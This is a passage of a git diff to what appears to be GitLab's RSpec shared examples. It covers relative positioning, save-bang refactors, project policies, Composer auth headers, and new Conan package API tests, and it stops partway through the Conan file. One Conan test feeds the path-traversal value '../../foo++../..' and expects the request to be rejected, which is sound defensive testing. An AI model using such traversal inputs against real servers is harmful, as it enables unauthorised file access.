@@ -543,12 +449,26 @@ RSpec.shared_examples 'a class that supports relative positioning' do
end
end
+ it 'places items at most IDEAL_DISTANCE from the start when the range is open' do
+ n = set_size
+
+ expect([item1, item2].map(&:relative_position)).to all(be <= (RelativePositioning::START_POSITION + (n * RelativePositioning::IDEAL_DISTANCE)))
+ end
+
it 'moves item to the end' do
new_item.move_to_end
expect(new_item.relative_position).to be > item2.relative_position
end
+ it 'positions the item at MAX_POSITION when there is only one space left' do
+ item2.update!(relative_position: RelativePositioning::MAX_POSITION - 1)
+
+ new_item.move_to_end
+
+ expect(new_item.relative_position).to eq RelativePositioning::MAX_POSITION
+ end
+
it 'rebalances when there is already an item at the MAX_POSITION' do
item2.update!(relative_position: RelativePositioning::MAX_POSITION)
@@ -712,63 +632,6 @@ RSpec.shared_examples 'a class that supports relative positioning' do
end
end
- describe '#move_sequence_before' do
- it 'moves the whole sequence of items to the middle of the nearest gap' do
- items = create_items_with_positions([90, 100, 101, 102])
-
- items.last.move_sequence_before
- items.last.save!
-
- positions = items.map { |item| item.reload.relative_position }
- expect(positions).to eq([90, 95, 96, 102])
- end
-
- it 'raises an error if there is no space' do
- items = create_items_with_positions(run_at_start)
-
- expect { items.last.move_sequence_before }.to raise_error(RelativePositioning::NoSpaceLeft)
- end
-
- it 'finds a gap if there are unused positions' do
- items = create_items_with_positions([100, 101, 102])
-
- items.last.move_sequence_before
- items.last.save!
-
- positions = items.map { |item| item.reload.relative_position }
-
- expect(positions.last - positions.second).to be > RelativePositioning::MIN_GAP
- end
- end
-
- describe '#move_sequence_after' do
- it 'moves the whole sequence of items to the middle of the nearest gap' do
- items = create_items_with_positions([100, 101, 102, 110])
-
- items.first.move_sequence_after
- items.first.save!
-
- positions = items.map { |item| item.reload.relative_position }
- expect(positions).to eq([100, 105, 106, 110])
- end
-
- it 'finds a gap if there are unused positions' do
- items = create_items_with_positions([100, 101, 102])
-
- items.first.move_sequence_after
- items.first.save!
-
- positions = items.map { |item| item.reload.relative_position }
- expect(positions.second - positions.first).to be > RelativePositioning::MIN_GAP
- end
-
- it 'raises an error if there is no space' do
- items = create_items_with_positions(run_at_end)
-
- expect { items.first.move_sequence_after }.to raise_error(RelativePositioning::NoSpaceLeft)
- end
- end
-
def be_valid_position
be_between(RelativePositioning::MIN_POSITION, RelativePositioning::MAX_POSITION)
end
diff --git a/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb b/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
index a5228c43f6f..a1867e1ce39 100644
--- a/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
+++ b/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
@@ -164,7 +164,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
context "event channels" do
it "uses the right channel for push event" do
- chat_service.update(push_channel: "random")
+ chat_service.update!(push_channel: "random")
expect(Slack::Messenger).to execute_with_options(channel: ['random'])
@@ -172,7 +172,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
end
it "uses the right channel for merge request event" do
- chat_service.update(merge_request_channel: "random")
+ chat_service.update!(merge_request_channel: "random")
expect(Slack::Messenger).to execute_with_options(channel: ['random'])
@@ -180,7 +180,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
end
it "uses the right channel for issue event" do
- chat_service.update(issue_channel: "random")
+ chat_service.update!(issue_channel: "random")
expect(Slack::Messenger).to execute_with_options(channel: ['random'])
@@ -191,7 +191,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
let(:issue_service_options) { { title: 'Secret', confidential: true } }
it "uses confidential issue channel" do
- chat_service.update(confidential_issue_channel: 'confidential')
+ chat_service.update!(confidential_issue_channel: 'confidential')
expect(Slack::Messenger).to execute_with_options(channel: ['confidential'])
@@ -199,7 +199,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
end
it 'falls back to issue channel' do
- chat_service.update(issue_channel: 'fallback_channel')
+ chat_service.update!(issue_channel: 'fallback_channel')
expect(Slack::Messenger).to execute_with_options(channel: ['fallback_channel'])
@@ -208,7 +208,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
end
it "uses the right channel for wiki event" do
- chat_service.update(wiki_page_channel: "random")
+ chat_service.update!(wiki_page_channel: "random")
expect(Slack::Messenger).to execute_with_options(channel: ['random'])
@@ -221,7 +221,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
end
it "uses the right channel" do
- chat_service.update(note_channel: "random")
+ chat_service.update!(note_channel: "random")
note_data = Gitlab::DataBuilder::Note.build(issue_note, user)
@@ -236,7 +236,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
end
it "uses confidential channel" do
- chat_service.update(confidential_note_channel: "confidential")
+ chat_service.update!(confidential_note_channel: "confidential")
note_data = Gitlab::DataBuilder::Note.build(issue_note, user)
@@ -246,7 +246,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name|
end
it 'falls back to note channel' do
- chat_service.update(note_channel: "fallback_channel")
+ chat_service.update!(note_channel: "fallback_channel")
note_data = Gitlab::DataBuilder::Note.build(issue_note, user)
diff --git a/spec/support/shared_examples/models/throttled_touch_shared_examples.rb b/spec/support/shared_examples/models/throttled_touch_shared_examples.rb
index fc4f6053bb9..14b851d2828 100644
--- a/spec/support/shared_examples/models/throttled_touch_shared_examples.rb
+++ b/spec/support/shared_examples/models/throttled_touch_shared_examples.rb
@@ -3,7 +3,7 @@
RSpec.shared_examples 'throttled touch' do
describe '#touch' do
it 'updates the updated_at timestamp' do
- Timecop.freeze do
+ freeze_time do
subject.touch
expect(subject.updated_at).to be_like_time(Time.zone.now)
end
diff --git a/spec/support/shared_examples/models/update_project_statistics_shared_examples.rb b/spec/support/shared_examples/models/update_project_statistics_shared_examples.rb
index 7f0da19996e..557025569b8 100644
--- a/spec/support/shared_examples/models/update_project_statistics_shared_examples.rb
+++ b/spec/support/shared_examples/models/update_project_statistics_shared_examples.rb
@@ -105,7 +105,7 @@ RSpec.shared_examples 'UpdateProjectStatistics' do
expect(ProjectStatistics)
.not_to receive(:increment_statistic)
- project.update(pending_delete: true)
+ project.update!(pending_delete: true)
project.destroy!
end
@@ -113,7 +113,7 @@ RSpec.shared_examples 'UpdateProjectStatistics' do
expect(Namespaces::ScheduleAggregationWorker)
.not_to receive(:perform_async)
- project.update(pending_delete: true)
+ project.update!(pending_delete: true)
project.destroy!
end
end
diff --git a/spec/support/shared_examples/models/wiki_shared_examples.rb b/spec/support/shared_examples/models/wiki_shared_examples.rb
index a881d5f036c..b87f7fe97e1 100644
--- a/spec/support/shared_examples/models/wiki_shared_examples.rb
+++ b/spec/support/shared_examples/models/wiki_shared_examples.rb
@@ -322,8 +322,8 @@ RSpec.shared_examples 'wiki model' do
expect(commit.committer_email).to eq(user.commit_email)
end
- it 'updates container activity' do
- expect(subject).to receive(:update_container_activity)
+ it 'runs after_wiki_activity callbacks' do
+ expect(subject).to receive(:after_wiki_activity)
subject.create_page('Test Page', 'This is content')
end
@@ -363,10 +363,10 @@ RSpec.shared_examples 'wiki model' do
expect(commit.committer_email).to eq(user.commit_email)
end
- it 'updates container activity' do
+ it 'runs after_wiki_activity callbacks' do
page
- expect(subject).to receive(:update_container_activity)
+ expect(subject).to receive(:after_wiki_activity)
update_page
end
@@ -389,10 +389,10 @@ RSpec.shared_examples 'wiki model' do
expect(commit.committer_email).to eq(user.commit_email)
end
- it 'updates container activity' do
+ it 'runs after_wiki_activity callbacks' do
page
- expect(subject).to receive(:update_container_activity)
+ expect(subject).to receive(:after_wiki_activity)
subject.delete_page(page)
end
diff --git a/spec/support/shared_examples/models/with_uploads_shared_examples.rb b/spec/support/shared_examples/models/with_uploads_shared_examples.rb
index f2a4d9919b7..0c930ec1fce 100644
--- a/spec/support/shared_examples/models/with_uploads_shared_examples.rb
+++ b/spec/support/shared_examples/models/with_uploads_shared_examples.rb
@@ -12,7 +12,7 @@ RSpec.shared_examples 'model with uploads' do |supports_fileuploads|
it 'deletes remote uploads' do
expect_any_instance_of(CarrierWave::Storage::Fog::File).to receive(:delete).and_call_original
- expect { model_object.destroy }.to change { Upload.count }.by(-1)
+ expect { model_object.destroy! }.to change { Upload.count }.by(-1)
end
end
@@ -21,13 +21,13 @@ RSpec.shared_examples 'model with uploads' do |supports_fileuploads|
let!(:uploads) { create_list(:upload, 2, uploader: FileUploader, model: model_object) }
it 'deletes any FileUploader uploads which are not mounted' do
- expect { model_object.destroy }.to change { Upload.count }.by(-3)
+ expect { model_object.destroy! }.to change { Upload.count }.by(-3)
end
it 'deletes local files' do
expect_any_instance_of(Uploads::Local).to receive(:delete_keys).with(uploads.map(&:absolute_path))
- model_object.destroy
+ model_object.destroy!
end
end
@@ -35,14 +35,14 @@ RSpec.shared_examples 'model with uploads' do |supports_fileuploads|
let!(:uploads) { create_list(:upload, 2, :object_storage, uploader: FileUploader, model: model_object) }
it 'deletes any FileUploader uploads which are not mounted' do
- expect { model_object.destroy }.to change { Upload.count }.by(-3)
+ expect { model_object.destroy! }.to change { Upload.count }.by(-3)
end
it 'deletes remote files' do
expected_array = array_including(*uploads.map(&:path))
expect_any_instance_of(Uploads::Fog).to receive(:delete_keys).with(expected_array)
- model_object.destroy
+ model_object.destroy!
end
end
end
diff --git a/spec/support/shared_examples/path_extraction_shared_examples.rb b/spec/support/shared_examples/path_extraction_shared_examples.rb
index ff55bc9a490..39c7c1f2a94 100644
--- a/spec/support/shared_examples/path_extraction_shared_examples.rb
+++ b/spec/support/shared_examples/path_extraction_shared_examples.rb
@@ -146,20 +146,6 @@ RSpec.shared_examples 'extracts refs' do
expect(extract_ref('release/app/doc/README.md')).to eq(['release/app', 'doc/README.md'])
end
-
- context 'when the extracts_path_optimization feature flag is disabled' do
- before do
- stub_feature_flags(extracts_path_optimization: false)
- end
-
- it 'always fetches all ref names' do
- expect(self).to receive(:ref_names).and_call_original
- expect(container.repository).not_to receive(:branch_names_include?)
- expect(container.repository).not_to receive(:tag_names_include?)
-
- expect(extract_ref('v1.0.0/doc/README.md')).to eq(['v1.0.0', 'doc/README.md'])
- end
- end
end
context 'when the repository has ambiguous refs' do
diff --git a/spec/support/shared_examples/policies/project_policy_shared_examples.rb b/spec/support/shared_examples/policies/project_policy_shared_examples.rb
index d8476f5dcc2..d05e5eb9120 100644
--- a/spec/support/shared_examples/policies/project_policy_shared_examples.rb
+++ b/spec/support/shared_examples/policies/project_policy_shared_examples.rb
@@ -59,8 +59,7 @@ RSpec.shared_examples 'project policies as anonymous' do
let(:project) { create(:project, :public, namespace: group) }
let(:user_permissions) { [:create_merge_request_in, :create_project, :create_issue, :create_note, :upload_file, :award_emoji] }
let(:anonymous_permissions) { guest_permissions - user_permissions }
-
- subject { described_class.new(nil, project) }
+ let(:current_user) { anonymous }
before do
create(:group_member, :invited, group: group)
@@ -78,9 +77,8 @@ RSpec.shared_examples 'project policies as anonymous' do
end
context 'abilities for non-public projects' do
- let(:project) { create(:project, namespace: owner.namespace) }
-
- subject { described_class.new(nil, project) }
+ let(:project) { private_project }
+ let(:current_user) { anonymous }
it { is_expected.to be_banned }
end
@@ -109,10 +107,10 @@ RSpec.shared_examples 'deploy token does not get confused with user' do
end
RSpec.shared_examples 'project policies as guest' do
- subject { described_class.new(guest, project) }
-
context 'abilities for non-public projects' do
- let(:project) { create(:project, namespace: owner.namespace) }
+ let(:project) { private_project }
+ let(:current_user) { guest }
+
let(:reporter_public_build_permissions) do
reporter_permissions - [:read_build, :read_pipeline]
end
@@ -167,9 +165,8 @@ end
RSpec.shared_examples 'project policies as reporter' do
context 'abilities for non-public projects' do
- let(:project) { create(:project, namespace: owner.namespace) }
-
- subject { described_class.new(reporter, project) }
+ let(:project) { private_project }
+ let(:current_user) { reporter }
it do
expect_allowed(*guest_permissions)
@@ -192,9 +189,8 @@ end
RSpec.shared_examples 'project policies as developer' do
context 'abilities for non-public projects' do
- let(:project) { create(:project, namespace: owner.namespace) }
-
- subject { described_class.new(developer, project) }
+ let(:project) { private_project }
+ let(:current_user) { developer }
it do
expect_allowed(*guest_permissions)
@@ -217,9 +213,8 @@ end
RSpec.shared_examples 'project policies as maintainer' do
context 'abilities for non-public projects' do
- let(:project) { create(:project, namespace: owner.namespace) }
-
- subject { described_class.new(maintainer, project) }
+ let(:project) { private_project }
+ let(:current_user) { maintainer }
it do
expect_allowed(*guest_permissions)
@@ -242,9 +237,8 @@ end
RSpec.shared_examples 'project policies as owner' do
context 'abilities for non-public projects' do
- let(:project) { create(:project, namespace: owner.namespace) }
-
- subject { described_class.new(owner, project) }
+ let(:project) { private_project }
+ let(:current_user) { owner }
it do
expect_allowed(*guest_permissions)
@@ -267,9 +261,8 @@ end
RSpec.shared_examples 'project policies as admin with admin mode' do
context 'abilities for non-public projects', :enable_admin_mode do
- let(:project) { create(:project, namespace: owner.namespace) }
-
- subject { described_class.new(admin, project) }
+ let(:project) { private_project }
+ let(:current_user) { admin }
it do
expect_allowed(*guest_permissions)
@@ -316,9 +309,8 @@ end
RSpec.shared_examples 'project policies as admin without admin mode' do
context 'abilities for non-public projects' do
- let(:project) { create(:project, namespace: owner.namespace) }
-
- subject { described_class.new(admin, project) }
+ let(:project) { private_project }
+ let(:current_user) { admin }
it { is_expected.to be_banned }
diff --git a/spec/support/shared_examples/requests/api/award_emoji_todo_shared_examples.rb b/spec/support/shared_examples/requests/api/award_emoji_todo_shared_examples.rb
index 9bfd1e6faa0..e94d29febfb 100644
--- a/spec/support/shared_examples/requests/api/award_emoji_todo_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/award_emoji_todo_shared_examples.rb
@@ -1,12 +1,13 @@
# frozen_string_literal: true
-# Shared examples to that test code that creates AwardEmoji also mark Todos
-# as done.
+# Shared examples to test that the code that creates AwardEmoji also marks
+# ToDos as done.
#
# The examples expect these to be defined in the calling spec:
# - `subject` the callable code that executes the creation of an AwardEmoji
# - `user`
# - `project`
+#
RSpec.shared_examples 'creating award emojis marks Todos as done' do
using RSpec::Parameterized::TableSyntax
@@ -22,7 +23,7 @@ RSpec.shared_examples 'creating award emojis marks Todos as done' do
with_them do
let(:project) { awardable.project }
- let(:awardable) { create(type) }
+ let(:awardable) { create(type) } # rubocop:disable Rails/SaveBang
let!(:todo) { create(:todo, target: awardable, project: project, user: user) }
specify do
diff --git a/spec/support/shared_examples/requests/api/boards_shared_examples.rb b/spec/support/shared_examples/requests/api/boards_shared_examples.rb
index 20b0f4f0dd2..0096aab55e3 100644
--- a/spec/support/shared_examples/requests/api/boards_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/boards_shared_examples.rb
@@ -169,7 +169,7 @@ RSpec.shared_examples 'group and project boards' do |route_definition, ee = fals
before do
if board_parent.try(:namespace)
- board_parent.update(namespace: owner.namespace)
+ board_parent.update!(namespace: owner.namespace)
else
board.resource_parent.add_owner(owner)
end
diff --git a/spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb
index 09743c20fba..5c122b4b5d6 100644
--- a/spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb
@@ -16,8 +16,11 @@ RSpec.shared_examples 'Composer package index' do |user_type, status, add_member
subject
expect(response).to have_gitlab_http_status(status)
- expect(response).to match_response_schema('public_api/v4/packages/composer/index')
- expect(json_response).to eq presenter.root
+
+ if status == :success
+ expect(response).to match_response_schema('public_api/v4/packages/composer/index')
+ expect(json_response).to eq presenter.root
+ end
end
end
end
@@ -87,13 +90,22 @@ RSpec.shared_examples 'process Composer api request' do |user_type, status, add_
end
end
-RSpec.shared_context 'Composer auth headers' do |user_role, user_token|
+RSpec.shared_context 'Composer auth headers' do |user_role, user_token, auth_method = :token|
let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+
+ let(:headers) do
+ if user_role == :anonymous
+ {}
+ elsif auth_method == :token
+ { 'Private-Token' => token }
+ else
+ basic_auth_header(user.username, token)
+ end
+ end
end
-RSpec.shared_context 'Composer api project access' do |project_visibility_level, user_role, user_token|
- include_context 'Composer auth headers', user_role, user_token do
+RSpec.shared_context 'Composer api project access' do |project_visibility_level, user_role, user_token, auth_method|
+ include_context 'Composer auth headers', user_role, user_token, auth_method do
before do
project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
end
diff --git a/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
new file mode 100644
index 00000000000..c56290a0aa9
--- /dev/null
+++ b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
@@ -0,0 +1,843 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'conan ping endpoint' do
+ it 'responds with 401 Unauthorized when no token provided' do
+ get api(url)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+
+ it 'responds with 200 OK when valid token is provided' do
+ jwt = build_jwt(personal_access_token)
+ get api(url), headers: build_token_auth_header(jwt.encoded)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers['X-Conan-Server-Capabilities']).to eq("")
+ end
+
+ it 'responds with 200 OK when valid job token is provided' do
+ jwt = build_jwt_from_job(job)
+ get api(url), headers: build_token_auth_header(jwt.encoded)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers['X-Conan-Server-Capabilities']).to eq("")
+ end
+
+ it 'responds with 200 OK when valid deploy token is provided' do
+ jwt = build_jwt_from_deploy_token(deploy_token)
+ get api(url), headers: build_token_auth_header(jwt.encoded)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers['X-Conan-Server-Capabilities']).to eq("")
+ end
+
+ it 'responds with 401 Unauthorized when invalid access token ID is provided' do
+ jwt = build_jwt(double(id: 12345), user_id: personal_access_token.user_id)
+ get api(url), headers: build_token_auth_header(jwt.encoded)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+
+ it 'responds with 401 Unauthorized when invalid user is provided' do
+ jwt = build_jwt(personal_access_token, user_id: 12345)
+ get api(url), headers: build_token_auth_header(jwt.encoded)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+
+ it 'responds with 401 Unauthorized when the provided JWT is signed with different secret' do
+ jwt = build_jwt(personal_access_token, secret: SecureRandom.base64(32))
+ get api(url), headers: build_token_auth_header(jwt.encoded)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+
+ it 'responds with 401 Unauthorized when invalid JWT is provided' do
+ get api(url), headers: build_token_auth_header('invalid-jwt')
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+
+ context 'packages feature disabled' do
+ it 'responds with 404 Not Found' do
+ stub_packages_setting(enabled: false)
+ get api(url)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+end
+
+RSpec.shared_examples 'conan search endpoint' do
+ before do
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel::PUBLIC)
+
+ get api(url), headers: headers, params: params
+ end
+
+ subject { json_response['results'] }
+
+ context 'returns packages with a matching name' do
+ let(:params) { { q: package.conan_recipe } }
+
+ it { is_expected.to contain_exactly(package.conan_recipe) }
+ end
+
+ context 'returns packages using a * wildcard' do
+ let(:params) { { q: "#{package.name[0, 3]}*" } }
+
+ it { is_expected.to contain_exactly(package.conan_recipe) }
+ end
+
+ context 'does not return non-matching packages' do
+ let(:params) { { q: "foo" } }
+
+ it { is_expected.to be_blank }
+ end
+end
+
+RSpec.shared_examples 'conan authenticate endpoint' do
+ subject { get api(url), headers: headers }
+
+ context 'when using invalid token' do
+ let(:auth_token) { 'invalid_token' }
+
+ it 'responds with 401' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when valid JWT access token is provided' do
+ it 'responds with 200' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'token has valid validity time' do
+ freeze_time do
+ subject
+
+ payload = JSONWebToken::HMACToken.decode(
+ response.body, jwt_secret).first
+ expect(payload['access_token']).to eq(personal_access_token.id)
+ expect(payload['user_id']).to eq(personal_access_token.user_id)
+
+ duration = payload['exp'] - payload['iat']
+ expect(duration).to eq(1.hour)
+ end
+ end
+ end
+
+ context 'with valid job token' do
+ let(:auth_token) { job_token }
+
+ it 'responds with 200' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'with valid deploy token' do
+ let(:auth_token) { deploy_token.token }
+
+ it 'responds with 200' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+end
+
+RSpec.shared_examples 'conan check_credentials endpoint' do
+ it 'responds with a 200 OK with PAT' do
+ get api(url), headers: headers
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ context 'with job token' do
+ let(:auth_token) { job_token }
+
+ it 'responds with a 200 OK with job token' do
+ get api(url), headers: headers
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'with deploy token' do
+ let(:auth_token) { deploy_token.token }
+
+ it 'responds with a 200 OK with job token' do
+ get api(url), headers: headers
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ it 'responds with a 401 Unauthorized when an invalid token is used' do
+ get api(url), headers: build_token_auth_header('invalid-token')
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+end
+
+RSpec.shared_examples 'rejects invalid recipe' do
+ context 'with invalid recipe path' do
+ let(:recipe_path) { '../../foo++../..' }
+
+ it 'returns 400' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+end
+
+RSpec.shared_examples 'rejects invalid file_name' do |invalid_file_name|
+ let(:file_name) { invalid_file_name }
+
+ context 'with invalid file_name' do
+ it 'returns 400' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+end
+
+RSpec.shared_examples 'rejects recipe for invalid project' do
+ context 'with invalid project' do
+ let(:recipe_path) { 'aa/bb/cc/dd' }
+ let(:project_id) { 9999 }
+
+ it_behaves_like 'not found request'
+ end
+end
+
+RSpec.shared_examples 'empty recipe for not found package' do
+ context 'with invalid recipe url' do
+ let(:recipe_path) do
+ 'aa/bb/%{project}/ccc' % { project: ::Packages::Conan::Metadatum.package_username_from(full_path: project.full_path) }
+ end
+
+ it 'returns not found' do
+ allow(::Packages::Conan::PackagePresenter).to receive(:new)
+ .with(
+ nil,
+ user,
+ project,
+ any_args
+ ).and_return(presenter)
+ allow(presenter).to receive(:recipe_snapshot) { {} }
+ allow(presenter).to receive(:package_snapshot) { {} }
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq("{}")
+ end
+ end
+end
+
+RSpec.shared_examples 'not selecting a package with the wrong type' do
+ context 'with a nuget package with same name and version' do
+ let(:conan_username) { ::Packages::Conan::Metadatum.package_username_from(full_path: project.full_path) }
+ let(:wrong_package) { create(:nuget_package, name: "wrong", version: '1.0.0', project: project) }
+ let(:recipe_path) { "#{wrong_package.name}/#{wrong_package.version}/#{conan_username}/foo" }
+
+ it 'calls the presenter with a nil package' do
+ expect(::Packages::Conan::PackagePresenter).to receive(:new)
+ .with(nil, user, project, any_args)
+
+ subject
+ end
+ end
+end
+
+RSpec.shared_examples 'recipe download_urls' do
+ let(:recipe_path) { package.conan_recipe_path }
+
+ it 'returns the download_urls for the recipe files' do
+ expected_response = {
+ 'conanfile.py' => "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanfile.py",
+ 'conanmanifest.txt' => "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
+ }
+
+ allow(presenter).to receive(:recipe_urls) { expected_response }
+
+ subject
+
+ expect(json_response).to eq(expected_response)
+ end
+
+ it_behaves_like 'not selecting a package with the wrong type'
+end
+
+RSpec.shared_examples 'package download_urls' do
+ let(:recipe_path) { package.conan_recipe_path }
+
+ it 'returns the download_urls for the package files' do
+ expected_response = {
+ 'conaninfo.txt' => "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conaninfo.txt",
+ 'conanmanifest.txt' => "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conanmanifest.txt",
+ 'conan_package.tgz' => "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conan_package.tgz"
+ }
+
+ allow(presenter).to receive(:package_urls) { expected_response }
+
+ subject
+
+ expect(json_response).to eq(expected_response)
+ end
+
+ it_behaves_like 'not selecting a package with the wrong type'
+end
+
+RSpec.shared_examples 'rejects invalid upload_url params' do
+ context 'with unaccepted json format' do
+ let(:params) { %w[foo bar] }
+
+ it 'returns 400' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+end
+
+RSpec.shared_examples 'successful response when using Unicorn' do
+ context 'on Unicorn', :unicorn do
+ it 'returns successfully' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+end
+
+RSpec.shared_examples 'recipe snapshot endpoint' do
+ subject { get api(url), headers: headers }
+
+ it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'rejects recipe for invalid project'
+ it_behaves_like 'empty recipe for not found package'
+
+ context 'with existing package' do
+ it 'returns a hash of files with their md5 hashes' do
+ expected_response = {
+ 'conanfile.py' => 'md5hash1',
+ 'conanmanifest.txt' => 'md5hash2'
+ }
+
+ allow(presenter).to receive(:recipe_snapshot) { expected_response }
+
+ subject
+
+ expect(json_response).to eq(expected_response)
+ end
+ end
+end
+
+RSpec.shared_examples 'package snapshot endpoint' do
+ subject { get api(url), headers: headers }
+
+ it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'rejects recipe for invalid project'
+ it_behaves_like 'empty recipe for not found package'
+
+ context 'with existing package' do
+ it 'returns a hash of md5 values for the files' do
+ expected_response = {
+ 'conaninfo.txt' => "md5hash1",
+ 'conanmanifest.txt' => "md5hash2",
+ 'conan_package.tgz' => "md5hash3"
+ }
+
+ allow(presenter).to receive(:package_snapshot) { expected_response }
+
+ subject
+
+ expect(json_response).to eq(expected_response)
+ end
+ end
+end
+
+RSpec.shared_examples 'recipe download_urls endpoint' do
+ it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'rejects recipe for invalid project'
+ it_behaves_like 'recipe download_urls'
+end
+
+RSpec.shared_examples 'package download_urls endpoint' do
+ it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'rejects recipe for invalid project'
+ it_behaves_like 'package download_urls'
+end
+
+RSpec.shared_examples 'recipe upload_urls endpoint' do
+ let(:recipe_path) { package.conan_recipe_path }
+
+ let(:params) do
+ { 'conanfile.py': 24,
+ 'conanmanifest.txt': 123 }
+ end
+
+ it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'rejects invalid upload_url params'
+ it_behaves_like 'successful response when using Unicorn'
+
+ it 'returns a set of upload urls for the files requested' do
+ subject
+
+ expected_response = {
+ 'conanfile.py': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanfile.py",
+ 'conanmanifest.txt': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
+ }
+
+ expect(response.body).to eq(expected_response.to_json)
+ end
+
+ context 'with conan_sources and conan_export files' do
+ let(:params) do
+ { 'conan_sources.tgz': 345,
+ 'conan_export.tgz': 234,
+ 'conanmanifest.txt': 123 }
+ end
+
+ it 'returns upload urls for the additional files' do
+ subject
+
+ expected_response = {
+ 'conan_sources.tgz': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conan_sources.tgz",
+ 'conan_export.tgz': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conan_export.tgz",
+ 'conanmanifest.txt': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
+ }
+
+ expect(response.body).to eq(expected_response.to_json)
+ end
+ end
+
+ context 'with an invalid file' do
+ let(:params) do
+ { 'invalid_file.txt': 10,
+ 'conanmanifest.txt': 123 }
+ end
+
+ it 'does not return the invalid file as an upload_url' do
+ subject
+
+ expected_response = {
+ 'conanmanifest.txt': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
+ }
+
+ expect(response.body).to eq(expected_response.to_json)
+ end
+ end
+end
+
+RSpec.shared_examples 'package upload_urls endpoint' do
+ let(:recipe_path) { package.conan_recipe_path }
+
+ let(:params) do
+ { 'conaninfo.txt': 24,
+ 'conanmanifest.txt': 123,
+ 'conan_package.tgz': 523 }
+ end
+
+ it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'rejects invalid upload_url params'
+ it_behaves_like 'successful response when using Unicorn'
+
+ it 'returns a set of upload urls for the files requested' do
+ expected_response = {
+ 'conaninfo.txt': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conaninfo.txt",
+ 'conanmanifest.txt': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conanmanifest.txt",
+ 'conan_package.tgz': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conan_package.tgz"
+ }
+
+ subject
+
+ expect(response.body).to eq(expected_response.to_json)
+ end
+
+ context 'with invalid files' do
+ let(:params) do
+ { 'conaninfo.txt': 24,
+ 'invalid_file.txt': 10 }
+ end
+
+ it 'returns upload urls only for the valid requested files' do
+ expected_response = {
